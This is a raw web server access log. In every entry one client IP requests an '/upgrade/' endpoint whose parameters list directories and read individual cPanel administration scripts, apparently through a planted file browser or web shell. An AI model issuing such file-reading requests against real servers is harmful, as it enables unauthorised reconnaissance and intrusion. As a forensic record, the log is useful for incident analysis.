45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmkwwwacctconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38845 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmkwwwacctconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmysqlconnectioncheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39783 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmysqlconnectioncheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_powerdns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37990 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_powerdns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbalance_linked_node_quotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbalance_linked_node_quotas&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_queueprocd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154400 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_queueprocd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_mail_sni&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39098 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuild_mail_sni&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38599 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fftpfetch&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frawchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frawchpass&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frfc1912_zones.tar&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38588 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frfc1912_zones.tar&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanelsync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 47551 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcpanelsync&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremote_log_transfer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41783 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fremote_log_transfer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfermysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfermysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funinstall_dovecot_fts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 53227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupcp&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_rh_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38025 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconfigure_rh_firewall_for_cpanel&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_dovecot_memory_limits_meet_minimum&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_dovecot_memory_limits_meet_minimum&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffetchfile&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37911 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffetchfile&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_innodb_tables&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix_innodb_tables&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgemwrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38675 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgemwrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnamed.rfc1912.zones&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38012 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnamed.rfc1912.zones&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetpostgresconfig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetpostgresconfig&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanphpsessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38211 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcleanphpsessions&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-web-vhost-configuration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40139 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-web-vhost-configuration&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39994 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frdate&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_proftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154339 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_proftpd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_users_vhosts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_users_vhosts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkilldns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37952 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkilldns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_spamassassin_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_spamassassin_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadddns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38755 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fadddns&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_unknown&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2153601 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_unknown&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamassassin_dbm_cleaner&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamassassin_dbm_cleaner&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdateuserdomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38116 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdateuserdomains&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=dir HTTP/1.1" 200 37745 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdcpumon-wrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38083 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fdcpumon-wrapper&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_local_ini_to_php_ini&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40628 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmigrate_local_ini_to_php_ini&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquickwhoisips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38747 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquickwhoisips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fauto-adjust-mysql-limits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fauto-adjust-mysql-limits&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Femail_hold_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38522 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Femail_hold_maintenance&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnotify_expiring_certificates&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fnotify_expiring_certificates&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_in_progress&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39128 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ftransfer_in_progress&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate-packages&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate-packages&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37661 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flocal%2Fcpanel%2Fscripts&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcompilers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38674 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcompilers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_and_migrate_from_legacy_backup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38640 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert_and_migrate_from_legacy_backup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-cpanel-perl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 48385 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-cpanel-perl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frpmup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39816 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frpmup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsshcontrol&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 42569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsshcontrol&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mail_spamassassin_compiledregexps_body_0&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37887 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_mail_spamassassin_compiledregexps_body_0&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
